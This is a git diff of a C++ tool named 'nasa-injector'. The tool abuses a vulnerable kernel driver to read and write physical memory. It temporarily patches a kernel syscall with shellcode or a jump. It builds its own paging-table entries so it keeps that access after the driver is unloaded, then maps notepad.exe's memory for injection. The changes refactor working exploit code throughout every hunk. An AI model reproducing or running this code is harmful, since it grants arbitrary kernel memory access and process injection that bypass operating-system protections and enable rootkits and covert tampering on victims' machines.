diff --git a/nasa-injector/main.cpp b/nasa-injector/main.cpp
index 8edcad6..315ca4e 100644
--- a/nasa-injector/main.cpp
+++ b/nasa-injector/main.cpp
@@ -11,18 +11,47 @@ int __cdecl main(int argc, char** argv)
 		return -1;
 	}
 
-	vdm::vdm_ctx vdm;
+	// read physical memory using the driver...
+	vdm::read_phys_t _read_phys =
+	[&](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return vdm::read_phys(addr, buffer, size);
+	};
+
+	// write physical memory using the driver...
+	vdm::write_phys_t _write_phys =
+	[&](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return vdm::write_phys(addr, buffer, size);
+	};
+
+	vdm::vdm_ctx vdm(_read_phys, _write_phys);
 	nasa::mem_ctx my_proc(vdm);
-	nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
-	nasa::injector_ctx injector(&my_proc, &notepad_proc);
 
-	// driver no longer needs to be loaded since paging tables are all setup :^)
+	// read physical memory via paging tables and not with the driver...
+	_read_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return my_proc.read_phys(buffer, addr, size);
+	};
+
+	// write physical memory via paging tables and not with the driver...
+	_write_phys = [&my_proc](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return my_proc.write_phys(buffer, addr, size);
+	};
+
 	if (!vdm::unload_drv(drv_handle, drv_key))
 	{
 		std::printf("[!] unable to unload vulnerable driver...\n");
 		return -1;
 	}
 
+	vdm.set_read(_read_phys);
+	vdm.set_write(_write_phys);
+
+	nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
+	nasa::injector_ctx injector(&my_proc, &notepad_proc);
+
 	if (!injector.init())
 	{
 		std::printf("[!] failed to init injector_ctx...\n");
@@ -33,11 +62,8 @@ int __cdecl main(int argc, char** argv)
 		reinterpret_cast<std::uintptr_t>(
 			GetModuleHandleA("ntdll.dll"));
 
-	const auto ntdll_inject_addr = injector.translate(ntdll_base);
-	std::printf("[+] ntdll base address -> 0x%p\n", ntdll_base);
-	std::printf("[+] ntdll reverse inject address -> 0x%p\n", ntdll_inject_addr);
-	std::printf("[+] ntdll MZ -> 0x%x\n", *(short*)ntdll_inject_addr);
-
+	const auto ntdll_base_injected = injector.translate(ntdll_base);
+	std::printf("[+] ntdll base -> 0x%p\n", ntdll_base_injected);
 	std::printf("[+] press any key to close...\n");
 	std::getchar();
 }
\ No newline at end of file
diff --git a/nasa-injector/mem_ctx/mem_ctx.cpp b/nasa-injector/mem_ctx/mem_ctx.cpp
index ac71fc8..0f80b7d 100644
--- a/nasa-injector/mem_ctx/mem_ctx.cpp
+++ b/nasa-injector/mem_ctx/mem_ctx.cpp
@@ -5,8 +5,8 @@ namespace nasa
 	mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid)
 		:
 		v_ctx(&v_ctx),
-		dirbase(get_dirbase(v_ctx, pid)),
-		pid(pid)
+		pid(pid),
+		dirbase(get_dirbase(v_ctx, pid))
 	{
 		// find an empty pml4e inside of current processes pml4...
 		const auto current_pml4 =
@@ -67,7 +67,6 @@ namespace nasa
 				));
 
 		PAGE_IN(this->new_pt.second, PAGE_4KB);
-
 		// get paging table entries for pt
 		pt_entries new_pt_entries;
 		hyperspace_entries(new_pt_entries, this->new_pt.second);
@@ -373,10 +372,10 @@ namespace nasa
 		}
 	}
 
-	void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
+	bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
 	{
 		if (!buffer || !addr || !size)
-			return;
+			return false;
 
 		const auto temp_page = set_page(addr);
 		__try
@@ -384,13 +383,16 @@ namespace nasa
 			memcpy(buffer, temp_page, size);
 		}
 		__except (EXCEPTION_EXECUTE_HANDLER)
-		{}
+		{
+			return false;
+		}
+		return true;
 	}
 
-	void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
+	bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
 	{
 		if (!buffer || !addr || !size)
-			return;
+			return false;
 
 		const auto temp_page = set_page(addr);
 		__try
@@ -398,7 +400,10 @@ namespace nasa
 			memcpy(temp_page, buffer, size);
 		}
 		__except (EXCEPTION_EXECUTE_HANDLER)
-		{}
+		{
+			return false;
+		}
+		return true;
 	}
 
 	void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
diff --git a/nasa-injector/mem_ctx/mem_ctx.hpp b/nasa-injector/mem_ctx/mem_ctx.hpp
index 9ac18b6..ebc17d5 100644
--- a/nasa-injector/mem_ctx/mem_ctx.hpp
+++ b/nasa-injector/mem_ctx/mem_ctx.hpp
@@ -7,7 +7,7 @@ namespace nasa
 	class mem_ctx
 	{
 	public:
-		explicit mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
+		mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid = GetCurrentProcessId());
 		~mem_ctx();
 
 		std::pair<ppte, pte> get_pte(void* addr, bool use_hyperspace = false);
@@ -25,8 +25,8 @@ namespace nasa
 		void* get_dirbase() const;
 		static void* get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid);
 
-		void read_phys(void* buffer, void* addr, std::size_t size);
-		void write_phys(void* buffer, void* addr, std::size_t size);
+		bool read_phys(void* buffer, void* addr, std::size_t size);
+		bool write_phys(void* buffer, void* addr, std::size_t size);
 
 		template <class T>
 		T read_phys(void* addr)
diff --git a/nasa-injector/vdm_ctx/vdm_ctx.cpp b/nasa-injector/vdm_ctx/vdm_ctx.cpp
index b1fea7f..9be9a5e 100644
--- a/nasa-injector/vdm_ctx/vdm_ctx.cpp
+++ b/nasa-injector/vdm_ctx/vdm_ctx.cpp
@@ -2,7 +2,14 @@
 
 namespace vdm
 {
-	vdm_ctx::vdm_ctx()
+	vdm_ctx::vdm_ctx
+	(
+		std::function<decltype(vdm::read_phys)>& read_func, 
+		std::function<decltype(vdm::write_phys)>& write_func
+	)
+		:
+		read_phys(read_func),
+		write_phys(write_func)
 	{
 		// already found the syscall's physical page...
 		if (vdm::syscall_address.load())
@@ -35,6 +42,16 @@ namespace vdm
 			search_thread.join();
 	}
 
+	void vdm_ctx::set_read(std::function<decltype(vdm::read_phys)>& read_func)
+	{
+		this->read_phys = read_func;
+	}
+
+	void vdm_ctx::set_write(std::function<decltype(vdm::write_phys)>& write_func)
+	{
+		this->write_phys = write_func;
+	}
+
 	void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
 	{
 		const auto page_data = 
@@ -50,7 +67,7 @@ namespace vdm
 			if (vdm::syscall_address.load())
 				break;
 
-			if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
+			if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
 				continue;
 
 			// check the first 32 bytes of the syscall, if its the same, test that its the correct
@@ -82,11 +99,11 @@ namespace vdm
 		std::uint8_t orig_bytes[sizeof shellcode];
 
 		// save original bytes and install shellcode...
-		vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
-		vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
+		read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+		write_phys(syscall_addr, shellcode, sizeof shellcode);
 
 		auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
-		vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+		write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
 		syscall_mutex.unlock();
 		return result == STATUS_SUCCESS;
 	}
diff --git a/nasa-injector/vdm_ctx/vdm_ctx.hpp b/nasa-injector/vdm_ctx/vdm_ctx.hpp
index 2bfe5da..4e3d8f3 100644
--- a/nasa-injector/vdm_ctx/vdm_ctx.hpp
+++ b/nasa-injector/vdm_ctx/vdm_ctx.hpp
@@ -5,6 +5,7 @@
 #include <thread>
 #include <atomic>
 #include <mutex>
+#include <functional>
 #include "../vdm/vdm.hpp"
 
 namespace vdm
@@ -19,10 +20,21 @@ namespace vdm
 	inline std::uint32_t nt_rva;
 	inline std::uint8_t* dxgkrnl_buffer;
 
+	using read_phys_t = std::function<decltype(vdm::read_phys)>;
+	using write_phys_t = std::function<decltype(vdm::write_phys)>;
+
 	class vdm_ctx
 	{
 	public:
-		vdm_ctx();
+		vdm_ctx
+		(	
+			std::function<decltype(vdm::read_phys)>& read_func,
+			std::function<decltype(vdm::write_phys)>& write_func
+		);
+
+		void set_read(std::function<decltype(vdm::read_phys)>& read_func);
+		void set_write(std::function<decltype(vdm::write_phys)>& write_func);
+
 		template <class T, class ... Ts>
 		__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
 		{
@@ -46,12 +58,12 @@ namespace vdm
 
 			std::uint8_t orig_bytes[sizeof jmp_code];
 			*reinterpret_cast<void**>(jmp_code + 6) = addr;
-			vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+			read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
 
 			// execute hook...
-			vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
+			write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
 			auto result = reinterpret_cast<T>(proc)(args ...);
-			vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+			write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
 
 			syscall_mutex.unlock();
 			return result;
@@ -109,5 +121,8 @@ namespace vdm
 	private:
 		void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
 		bool valid_syscall(void* syscall_addr) const;
+
+		std::function<decltype(vdm::read_phys)> read_phys;
+		std::function<decltype(vdm::write_phys)> write_phys;
 	};
 }
\ No newline at end of file